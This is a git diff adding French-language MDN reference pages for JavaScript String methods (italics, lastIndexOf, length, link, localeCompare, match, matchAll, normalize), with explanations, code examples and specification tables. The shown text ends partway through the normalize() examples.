diff --git a/files/fr/web/javascript/reference/global_objects/string/italics/index.html b/files/fr/web/javascript/reference/global_objects/string/italics/index.html new file mode 100644 index 0000000000..399dfe4113 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/italics/index.html @@ -0,0 +1,83 @@ +--- +title: String.prototype.italics() +slug: Web/JavaScript/Reference/Objets_globaux/String/italics +tags: + - Déprécié + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/italics +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode italics() permet de créer un élément HTML {{HTMLElement("i")}} qui permet de représenter la chaîne courante en italique.

+ +

Syntaxe

+ +
str.italics()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("i")}}.

+ +

Description

+ +

La méthode italics encadre la chaîne de caractères dans une balise <i> :
+ "<i>str</i>"

+ +

Exemples

+ +

Les méthodes des chaînes de caractères peuvent être utilisées pour changer le formatage d'une chaîne de caractères :

+ +
var worldString = "Coucou monde";
+
+console.log(worldString.blink());
+console.log(worldString.bold());
+console.log(worldString.italics());
+console.log(worldString.strike());
+
+ +

Cet exemple permet de produire le fragment HTML suivant dans la console :

+ +
<blink>Coucou monde</blink>
+<b>Coucou monde</b>
+<i>Coucou monde</i>
+<strike>Coucou monde</strike>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.italics', 'String.prototype.italics')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.italics', 'String.prototype.italics')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.italics")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.blink()")}}
    • +
  • {{jsxref("String.prototype.bold()")}}
    • +
  • {{jsxref("String.prototype.strike()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/lastindexof/index.html b/files/fr/web/javascript/reference/global_objects/string/lastindexof/index.html new file mode 100644 index 0000000000..c45c3fc280 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/lastindexof/index.html @@ -0,0 +1,125 @@ +--- +title: String.prototype.lastIndexOf() +slug: Web/JavaScript/Reference/Objets_globaux/String/lastIndexOf +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf +--- +
{{JSRef}}
+ +

La méthode lastIndexOf() renvoie l'indice, dans la chaîne courante, de la dernière occurence de la valeur donnée en argument. Si cette sous-chaîne n'est pas trouvée, la méthode renvoie -1. La recherche s'effectue de la fin vers le début de la chaîne, à partir de indiceDébut.

+ +
{{EmbedInteractiveExample("pages/js/string-lastindexof.html")}}
+ + + +

Syntaxe

+ +
str.lastIndexOf(valeurRecherchée[, indiceDébut])
+ +

Paramètres

+ +
+
valeurRecherchée
+
Une chaîne qu'on recherche dans la chaîne courante. Si ce paramètre n'est pas défini et que indiceDébut est utilisé, c'est ce dernier qui sera renvoyé par la fonction.
+
indiceDébut {{optional_inline}}
+
Paramètre optionnel. L'emplacement, dans la chaîne courante, à partir duquel effectuer la recherche (en partant de la fin de la chaîne et en remontant vers le début). Cela peut être n'importe quel entier. La valeur par défaut est +Infinity. Si indiceDébut > str.length, toute la chaîne sera parcourue. Si indiceDébut < 0,  on aura le même comportement que si indiceDébut valait 0.
+
+ +

Valeur de retour

+ +

L'indice de la dernière occurrence de la valeur indiquée, -1 si elle n'est pas trouvée.

+ +

Description

+ +

Les caractères d'une chaîne de caractères sont indexés de gauche à droite. L'indice du premier caractère vaut 0 et l'indice du dernier caractère vaut maChaîne.length - 1.

+ +
'canal'.lastIndexOf('a');     // renvoie 3
+'canal'.lastIndexOf('a', 2);  // renvoie 1
+'canal'.lastIndexOf('a', 0);  // renvoie -1
+'canal'.lastIndexOf('x');     // renvoie -1
+'canal'.lastIndexOf('c', -5); // renvoie 0
+'canal'.lastIndexOf('c', 0);  // renvoie 0
+'canal'.lastIndexOf('');      // renvoie 5
+'canal'.lastIndexOf('', 2);   // renvoie 2
+
+ +
+

Note : 'abab'.lastIndexOf('ab', 2) renvoie 2 et pas 0 car l'argument indiceDébut ne limite que le début de la correspondance recherchée ( qui est 'ab')

+
+ +

Sensibilité à la casse

+ +

La méthode lastIndexOf() est sensible à la casse (une lettre en minuscule (i) est différente d'une lettre en majuscule (I)). Ainsi, le résultat de l'expression suivante sera -1 :

+ +
'Blue Whale, Killer Whale'.lastIndexOf('blue'); // renvoie -1
+
+ +

Exemples

+ +

Dans l'exemple suivant, on utilise {{jsxref("String.prototype.indexOf()", "indexOf()")}} et lastIndexOf() pour situer certaines valeurs dans la chaîne "Brave new world".

+ +
var maChaîne = 'Brave new world';
+
+console.log('Indice du premier w ' + maChaîne.indexOf('w'));
+// Affiche 8
+console.log('Indice du dernier w ' + maChaîne.lastIndexOf('w'));
+// Affiche 10
+
+console.log('Indice du premier "new" ' + maChaîne.indexOf('new'));
+// Affiche 6
+console.log('Indice du dernier "new" ' + maChaîne.lastIndexOf('new'));
+// Affiche 6
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.5.4.8', 'String.prototype.lastIndexOf')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.lastIndexOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.charAt()")}}
    • +
  • {{jsxref("String.prototype.indexOf()")}}
    • +
  • {{jsxref("String.prototype.split()")}}
    • +
  • {{jsxref("Array.prototype.indexOf()")}}
    • +
  • {{jsxref("Array.prototype.lastIndexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/length/index.html b/files/fr/web/javascript/reference/global_objects/string/length/index.html new file mode 100644 index 0000000000..9e1614ddcd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/length/index.html @@ -0,0 +1,101 @@ +--- +title: String.length +slug: Web/JavaScript/Reference/Objets_globaux/String/length +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/length +--- +
{{JSRef}}
+ +

La propriété length représente la longueur d'une chaine de caractères, exprimée en nombre de points de code UTF-16. C'est une propriété accessible en lecture seule.

+ +
{{EmbedInteractiveExample("pages/js/string-length.html")}}
+ + + +

Syntaxe

+ +
str.length
+ +

Description

+ +

Cette propriété renvoie le nombre de « codets » (ou unités de code ou bien code units en anglais) d'une chaîne de caractères. {{interwiki("wikipedia", "UTF-16")}}. Le format utilisé pour représenter les chaînes de caractères en JavaScript utilise un seul codet sur 16 bits pour représenter la plupart des caractères communs. En revanche, pour représenter les caractères plus rares, deux codets seront utilisés : la valeur renvoyée par length ne correspondra alors pas au nombre de caractères dans la chaîne.

+ +

ECMAScript 2016 (la septième édition) établit une longueur maximale de 253 - 1 éléments. Auparavant, aucune longueur maximale n'était spécifiée. Pour Firefox, les chaînes ont une longueur maximale de 230-2 caractères (environ 1 Go). Pour les versions de Firefox antérieures à Firefox 65, la taille maximale était de de 228-1 (environ 256 Mo).

+ +

Pour une chaine vide, on aura length égal à 0.

+ +

La propriété statique String.length renvoie la valeur 1.

+ +

Exemples

+ +

Utiliser String.length

+ +
const x = "Mozilla";
+const vide = "";
+
+console.log(x + " mesure " + x.length + " codets");
+/* "Mozilla mesure 7 codets" */
+
+console.log("La chaîne vide a une longueur de " + vide.length);
+/* "La chaîne vide a une longueur de 0" */
+ +

Affecter une valeur à length

+ +
const maChaine = "Sloubi";
+// Lorsqu'on tente d'affecter une valeur à la propriété length
+// rien d'observable ne se produit
+
+maChaine.length = 3;
+console.log(maChaine); /* Sloubi */
+console.log(maChaine.length); // 6
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
+ Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.length")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/string/link/index.html b/files/fr/web/javascript/reference/global_objects/string/link/index.html new file mode 100644 index 0000000000..e36f231d3c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/link/index.html @@ -0,0 +1,85 @@ +--- +title: String.prototype.link() +slug: Web/JavaScript/Reference/Objets_globaux/String/link +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/link +--- +
{{JSRef}}
+ +

La méthode link() permet de créer une chaîne de caractères représentant un élément HTML {{HTMLElement("a")}}, ce qui permet d'afficher la chaîne de caractères comme un lien hypertexte vers une URL donnée.

+ +

Syntaxe

+ +
str.link(url)
+ +

Paramètres

+ +
+
url
+
Toute chaîne de caractères pouvant être utilisée comme valeur pour l'attribut href de la balise a. Cette chaîne doit être une URL valide (relative ou absolue) dont les caractères & sont échappés en &amp;, et dont les doubles quotes (") doivent être échappées avec l'entité &quot;.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("a")}}.

+ +

Description

+ +

La méthode link permet de créer un fragment HTML avec un lien hypertexte. Le chaîne renvoyée par la méthode peut ensuite être ajoutée au document grâce aux méthodes {{domxref("document.write()")}} ou {{domxref("element.innerHTML")}}.

+ +

Les liens créés avec la méthode link deviennent des éléments du tableau links, membre de l'objet document. Voir {{ Domxref("document.links") }}.

+ +

Exemples

+ +

L'exemple qui suit affiche le texte "MDN" avec un hyperlien qui envoie l'utilisateur vers le site du Mozilla Developer Network.

+ +
var texteAffiché = "MDN";
+var URL = "https://developer.mozilla.org/";
+
+console.log("Cliquer ici pour revenir sur " + texteAffiché.link(URL));
+// Cliquer ici pour revenir sur <a href="https://developer.mozilla.org/">MDN</a>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.link', 'String.prototype.link')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'Annexe B (normative) pour les fonctionnalités ECMAScript additionnelles concernant les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.link', 'String.prototype.link')}}{{Spec2('ESDraft')}}Définie dans l'Annexe B (normative) pour les fonctionnalités ECMAScript additionnelles concernant les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.link")}}

+ +

Notes relatives à Gecko

+ +
    +
  • À partir de Gecko 17.0 {{geckoRelease("17")}} le symbole de double quote " est automatiquement remplacé par l'entité HTML de référence dans le paramètre url.
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.anchor()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/localecompare/index.html b/files/fr/web/javascript/reference/global_objects/string/localecompare/index.html new file mode 100644 index 0000000000..e7e2a2cffd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/localecompare/index.html @@ -0,0 +1,183 @@ +--- +title: String.prototype.localeCompare() +slug: Web/JavaScript/Reference/Objets_globaux/String/localeCompare +tags: + - Internationalisation + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/localeCompare +--- +
{{JSRef}}
+ +

La méthode localeCompare() renvoie un nombre indiquant si la chaîne de caractères courante se situe avant, après ou est la même que la chaîne passée en paramètre, selon l'ordre lexicographique.

+ +
{{EmbedInteractiveExample("pages/js/string-localecompare.html")}}
+ + + +

Les arguments locales et options permettent de définir la locale et des options pour adapter le comportement de la fonction. Les anciennes implémentations ignoreront les arguments locales et options. L'ordre de tri utilisé sera entièrement dépendant de l'implémentation.

+ +

Syntaxe

+ +
str.localeCompare(chaineÀComparer [, locales [, options]])
+ +

Paramètres

+ +

Voir le tableau de compatibilité des navigateurs pour savoir quels navigateurs prennent en charge les arguments locales et options. L'exemple pour vérifier le support des arguments locales et options fournit un fragment de code pour détecter la prise en charge de ces fonctionnalités.

+ +
+
chaineÀComparer
+
La chaîne avec laquelle on souhaite comparer la chaîne de caractères courante.
+
+ +
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator','Param.C3.A8tres')}}
+ +

Valeur de retour

+ +

Un nombre négatif si la chaîne de appelante est ordonnée avant la chaîne passée en argument, un nombre positif si elle se situe après, 0 si les deux chaînes sont équivalentes.

+ +

Description

+ +

Cette méthode renvoie un nombre entier qui indique si la chaîne de caractères courante se situe avant ou après la chaîne passée en argument selon l'ordre lexicographique tenant compte de la locale. Cette méthode renvoie

+ +
    +
  • un nombre négatif si la chaîne de caractères courant se situe avant la chaîne chaineÀComparer
    • +
  • un nombre positif si elle se situe après
    • +
  • 0 si les deux chaînes se situent au même niveau
    • +
+ +

Attention à ne pas tester que les valeurs -1 et 1. Les valeurs entières utilisées peuvent varier en fonction des navigateurs et de leurs versions. En effet, la spécification indique uniquement le signe de la valeur à fournir. Par exemple, certains navigateurs pourront renvoyer -2 ou 2 (voire d'autres valeurs).

+ +

Exemples

+ +

Utiliser la méthode localeCompare()

+ +

L'exemple qui suit illustre les différents cas de figures lors de la comparaison des chaînes de caractères :

+ +
console.log('a'.localeCompare('c')); // -2, ou -1, ou toute autre valeur négative
+console.log('c'.localeCompare('a')); // 2, ou 1, ou toute autre valeur positive
+console.log('a'.localeCompare('a')); // 0
+
+ +

Les résultats illustrés ici peuvent varier entre les différents navigateurs et selon les versions des navigateurs. En effet, les valeurs renvoyées sont spécifiques selon les implémentations. La spécification définit uniquement le signe de la valeur à renvoyer.

+ +

Trier un tableau

+ +

localeCompare() permet de trier un tableau sans tenir compte de la casse :

+ +
var items = ['réservé', 'Premier', 'Cliché', 'communiqué', 'café', 'Adieu'];
+items.sort((a, b) => a.localeCompare(b, 'fr', {ignorePunctuation: true}));
+// ['Adieu', 'café', 'Cliché', 'communiqué', 'Premier', 'réservé']
+
+ +

Vérifier le support des arguments locales et options

+ +

Les argument locales et options ne sont pas supportés par tous les navigateurs. Pour vérifier qu'une implémentation supporte ces paramètres, il est possible d'utiliser un cas d'erreur quand on utilise une balise de langue incorrecte (ce qui provoque une exception {{jsxref("RangeError")}}) :

+ +
function localeCompareSupportsLocales() {
+    try {
+        "a".localeCompare​("b", "i");
+    } catch (e) {
+        return e​.name === "RangeError";
+    }
+    return false;
+}
+
+ +

Utiliser le paramètre locales

+ +

Les résultats fournis par la méthode localeCompare() peuvent varier selon les langues utilisées. Pour spécifier la langue à utiliser pour votre application, utiliser l'argument locales pour définir la locale à utiliser (et éventuellement des langues de recours) :

+ +
console.log('ä'.localeCompare('z', 'de')); // une valeur négative : en allemand ä est avant z
+console.log('ä'.localeCompare('z', 'sv')); // une valeur positive : en suédois, ä arrive après z
+
+ +

Utiliser le paramètre options

+ +

Les résultats construits par la méthode localeCompare() peuvent être adaptés grâce au paramètre options :

+ +
// en allemand, ä et a ont la même lettre de base
+console.log('ä'.localeCompare('a', 'de', {sensitivity: "base"})); // 0
+
+// en suédois, ä et a n'ont pas la même lettre de base
+console.log('ä'.localeCompare('a', 'sv', {sensitivity: "base"})); // une valeur positive
+
+ +

Tri numérique

+ +
// Par défaut, selon l'ordre lexicographique, "2" est supérieur à "10"
+console.log("2".localeCompare("10")); // 1
+
+// En utilisant un ordre numérique :
+console.log("2".localeCompare("10", undefined, {numeric: true})); // -1
+
+// En utilisant une balise de locale:
+console.log("2".localeCompare("10","en-u-kn-true")); // -1
+
+ +

Performances

+ +

Pour comparer un grand nombre de chaînes de caractères, par exemple pour trier de grands tableaux, il est préférable de créer un objet {{jsxref("Objets_globaux/Collator", "Intl.Collator")}} et utiliser la fonction fournie par la propriété {{jsxref("Collator.prototype.compare", "compare")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
+ Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}{{Spec2('ES Int 1.0')}}Définition des paramètres locale et option
{{SpecName('ES Int 2.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-String.prototype.localeCompare', 'String.prototype.localeCompare')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.localeCompare")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Objets_globaux/Collator", "Intl.Collator")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/match/index.html b/files/fr/web/javascript/reference/global_objects/string/match/index.html new file mode 100644 index 0000000000..cfa8ed4e58 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/match/index.html @@ -0,0 +1,157 @@ +--- +title: String.prototype.match() +slug: Web/JavaScript/Reference/Objets_globaux/String/match +tags: + - Expressions rationnelles + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/match +--- +
{{JSRef}}
+ +

La méthode match() permet d'obtenir le tableau des correspondances entre la chaîne courante et une expression rationnelle.

+ +
{{EmbedInteractiveExample("pages/js/string-match.html")}}
+ + + +

Syntaxe

+ +
str.match(regexp)
+ +

Paramètres

+ +
+
regexp
+
Un objet représentant une expression rationnelle. Si ce n'est pas un objet de type RegExp, celui-ci sera converti en un objet {{jsxref("RegExp")}} grâce à new RegExp(regexp). Si aucun paramètre n'est utilisé, cela renverra un tableau contenant un élément étant la chaîne vide : [""].
+
+ +

Valeur de retour

+ +

Un tableau ({{jsxref("Array")}}) contenant les correspondances et les groupes capturés avec les parenthèses ou {{jsxref("null")}} s'il n'y a pas de correspondance. Le contenu de ce tableau dépend de l'utilisation du marqueur pour la recherche globale g :

+ +
    +
  • Si le marqueur g est utilisé, tous les résultats correspondants à l'expression rationnelle complète seront renvoyés mais les groupes capturants ne seront pas renvoyés.
    • +
  • Si le marqueur g n'est pas utilisé, seule la première correspondance et ses groupes capturants seront renvoyés. Dans ce cas, l'élément renvoyé aura des propriétés supplémentaires listées ci-après.
    • +
+ +

Propriétés supplémentaires

+ +

Comme indiqué ci-avant, les résultats peuvent contenir certaines propriétés supplémentaires :

+ +
    +
  • groups : un tableau de groupes capturants nommés ou {{jsxref("undefined")}} si aucun groupe capturant n'a été défini. Voir la page sur les groupes et les intervalles pour plus d'informations.
    • +
  • index : l'indice de la chaîne de caractères où a été trouvée la correspondance.
    • +
  • input : une copie de la chaîne sur laquelle a été effectuée la recherche.
    • +
+ +

Description

+ +

Si l'expression n'utilise pas le drapeau (flag) g, le résultat obtenu sera le même qu'avec {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}.

+ +

Voir aussi : les méthodes de RegExp

+ +
    +
  • Si on souhaite savoir s'il existe des correspondances entre une chaîne de caractères et une expression rationnelle {{jsxref("RegExp")}}, on pourra utiliser {{jsxref("RegExp.prototype.test()", "RegExp.test()")}}.
    • +
  • Si on ne souhaite obtenir que la première correspondance, on pourra plutôt utiliser {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}} à la place.
    • +
  • Si on souhaite obtenir les groupes correspondants et que le drapeau « global » est activé, il faudra utiliser {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}} à la place.
    • +
+ +

Exemples

+ +

Utiliser match()

+ +

Dans l'exemple suivant, on utilise match() afin de trouver la chaîne 'Chapitre' suivie par un ou plusieurs chiffres séparés par des points. L'expression utilisée active le drapeau i afin que la casse ne soit pas prise en compte.

+ +
var str = 'Pour plus d\'informations, voir le chapitre 3.4.5.1';
+var re = /(chapitre \d+(\.\d)*)/i;
+var trouvé = str.match(re);
+
+console.log(trouvé);
+
+// logs ['chapitre 3.4.5.1', 'chapitre 3.4.5.1', '.1']
+
+// 'chapitre 3.4.5.1' est la première correspondance
+// 'chapitre 3.4.5.1' est la valeur gardée en mémoire par
+// `(chapitre \d+(\.\d)*)`.
+// '.1' est la valeur gardée en mémoire par `(\.\d)`.
+
+ +

Utiliser les drapeaux g (global) et i (ignorer la casse) avec match()

+ +

Dans cet exemple, on illustre comment utiliser des drapeaux avec l'expression rationnelle qui est un argument de match(). Chaque lettre de A à E et de a à e est renvoyée, chacune dans un élément du tableau de résultat.

+ +
var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+var regexp = /[A-E]/gi;
+var tableau_correspondances = str.match(regexp);
+
+console.log(tableau_correspondances);
+// ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']
+
+ +

Utiliser un paramètre qui n'est pas une RegExp

+ +

Lorsque le paramètre passé à la fonction est une chaîne de caractères ou un nombre, il est converti de façon implicite en un objet  {{jsxref("RegExp")}} grâce à new RegExp(obj). Si c'est un nombre positif avec le signe +, la méthode RegExp() ignorera ce signe.

+ +
var str1 = "NaN signifie : qui n'est pas un nombre.";
+var str2 = "Mon père a 65 ans."
+str1.match("nombre");   // "nombre" est une chaîne, renvoie ["nombre"]
+str1.match(NaN);        // NaN est de type number, renvoie ["NaN"]
+str2.match(65);         // Renvoie ["65"]
+str2.match(+65);        // Renvoie également ["65"]
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.match', 'String.prototype.match')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.match")}}

+ +

Notes spécifiques à Firefox/Gecko

+ +
    +
  • flags était un second argument non standard présent uniquement sur Gecko : str.match(regexp, flags) et a été retiré avec Firefox 49.
    • +
  • À partir de Firefox 27, cette méthode a été ajustée afin d'être conforme à ECMAScript. Lorsque match() est appelée sur une expression rationnelle globale, la propriété {{jsxref("RegExp.lastIndex")}} de l'objet sera redéfini à 0 ({{bug(501739)}}).
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp")}}
    • +
  • {{jsxref("RegExp.prototype.exec()")}}
    • +
  • {{jsxref("RegExp.prototype.test()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/matchall/index.html b/files/fr/web/javascript/reference/global_objects/string/matchall/index.html new file mode 100644 index 0000000000..adf4f5bac6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/matchall/index.html @@ -0,0 +1,122 @@ +--- +title: String.prototype.matchAll() +slug: Web/JavaScript/Reference/Objets_globaux/String/matchAll +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll +--- +
{{JSRef}}
+ +

La méthode matchAll() renvoie un itérateur contenant l'ensemble des correspondances entre une chaîne de caractères d'une part et une expression rationnelle d'autre part (y compris les groupes capturants).

+ +
{{EmbedInteractiveExample("pages/js/string-matchall.html")}}
+ + + +

Syntaxe

+ +
str.matchAll(regexp)
+ +

Paramètres

+ +
+
regexp
+
Un objet représentant une expression rationnelle. Si cet objet n'est pas une instance de {{jsxref("RegExp")}}, il est automatiquement et implicitement converti en une telle instance à l'aide de new RegExp(obj).
+
+ +

Valeur de retour

+ +

Un itérateur.

+ +

Exemples

+ +

Regexp.exec() et matchAll()

+ +

Avant l'apparition de matchAll() en JavaScript, il était possible d'utiliser {{jsxref("RegExp.exec")}} (et des expressions rationnelles utilisant le marqueur /g) dans une boucle afin d'obtenir l'ensemble des correspondances :

+ +
const regexp = RegExp('foo*','g');
+const str = 'table football, foosball';
+
+while ((matches = regexp.exec(str)) !== null) {
+  console.log(`${matches[0]} trouvé. Prochaine recherche à partir de ${regexp.lastIndex}.`);
+  // dans la console : "foo trouvé. Prochaine recherche à partir de 9."
+  // dans la console : "foo trouvé. Prochaine recherche à partir de 19."
+}
+
+ +

Avec matchAll(), on peut éviter la boucle while et le marqueur global. On récupère l'itérateur et on utilise une boucle for...of, la décomposition de tableau ou encore {{jsxref("Array.from()")}} :

+ +
const regexp = RegExp('foo*','g');
+const str = 'table football, foosball';
+let matches = str.matchAll(regexp);
+
+for (const match of matches) {
+  console.log(match);
+}
+// Array [ "foo" ]
+// Array [ "foo" ]
+
+// l'itérateur est épuise après l'itération via for..of
+// On rappelle matchAll afin de créer un nouvel itérateur
+matches = str.matchAll(regexp);
+
+Array.from(matches, m => m[0]);
+// Array [ "foo", "foo" ]
+
+ +

Meilleur accès aux groupes capturants

+ +

Un autre avantage de matchAll() est un meilleur accès aux groupes capturants. De fait, les groupes capturants sont ignorés par match() lorsqu'on utilise le marqueur global /g :

+ +
var regexp = /t(e)(st(\d?))/g;
+var str = 'test1test2';
+
+str.match(regexp);
+// Array ['test1', 'test2']
+ +

Avec matchAll(), on peut y accéder :

+ +
let array = [...str.matchAll(regexp)];
+
+array[0];
+// ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4]
+array[1];
+// ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-string.prototype.matchall', 'String.prototype.matchAll')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.matchAll")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp")}}
    • +
  • {{jsxref("RegExp.prototype.exec()")}}
    • +
  • {{jsxref("RegExp.prototype.test()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/normalize/index.html b/files/fr/web/javascript/reference/global_objects/string/normalize/index.html new file mode 100644 index 0000000000..398c9eaefe --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/normalize/index.html @@ -0,0 +1,127 @@ +--- +title: String.prototype.normalize() +slug: Web/JavaScript/Reference/Objets_globaux/String/normalize +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - String + - Unicode +translation_of: Web/JavaScript/Reference/Global_Objects/String/normalize +--- +
{{JSRef}}
+ +

La méthode normalize() permet de renvoyer la forme normalisée Unicode d'une chaîne de caractères (si la valeur n'est pas une chaîne de caractères, elle sera convertie).

+ +
{{EmbedInteractiveExample("pages/js/string-normalize.html")}}
+ + + +

Syntaxe

+ +
str.normalize([form]);
+ +

Paramètres

+ +
+
form
+
Paramètre optionnel. Une chaîne parmi "NFC", "NFD", "NFKC", ou "NFKD", définissant la forme de normalisation Unicode à utiliser. Si le paramètre n'est pas précisé ou vaut {{jsxref("undefined")}}, la valeur par défaut utilisée sera "NFC". +
    +
  • NFC - Normalization Form Canonical Composition.
    • +
  • NFD - Normalization Form Canonical Decomposition.
    • +
  • NFKC - Normalization Form Compatibility Composition.
    • +
  • NFKD - Normalization Form Compatibility Decomposition.
    • +
+
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui est le forme Unicode normalisée de la chaîne appelante.

+ +

Exceptions

+ +
+
{{jsxref("RangeError")}}
+
Une exception RangeError est envoyée si le paramètre form n'est pas une des valeurs définies ci-avant.
+
+ +

Description

+ +

La méthode normalize() renvoie la forme normalisée Unicode de la chaîne de caractères. Elle n'affecte pas la valeur de la chaîne.

+ +

Exemples

+ +
// Chaîne initiale
+
+// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+// U+0323: COMBINING DOT BELOW
+var str = "\u1E9B\u0323";
+
+
+// Forme canonique composée (Canonically-composed form) (NFC)
+
+// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+// U+0323: COMBINING DOT BELOW
+str.normalize("NFC"); // "\u1E9B\u0323"
+str.normalize(); // la même chaîne que précédemment
+
+
+// Forme canonique décomposée (Canonically-decomposed form) (NFD)
+
+// U+017F: LATIN SMALL LETTER LONG S
+// U+0323: COMBINING DOT BELOW
+// U+0307: COMBINING DOT ABOVE
+str.normalize("NFD"); // "\u017F\u0323\u0307"
+
+
+// Forme composée compatible (NFKC)
+
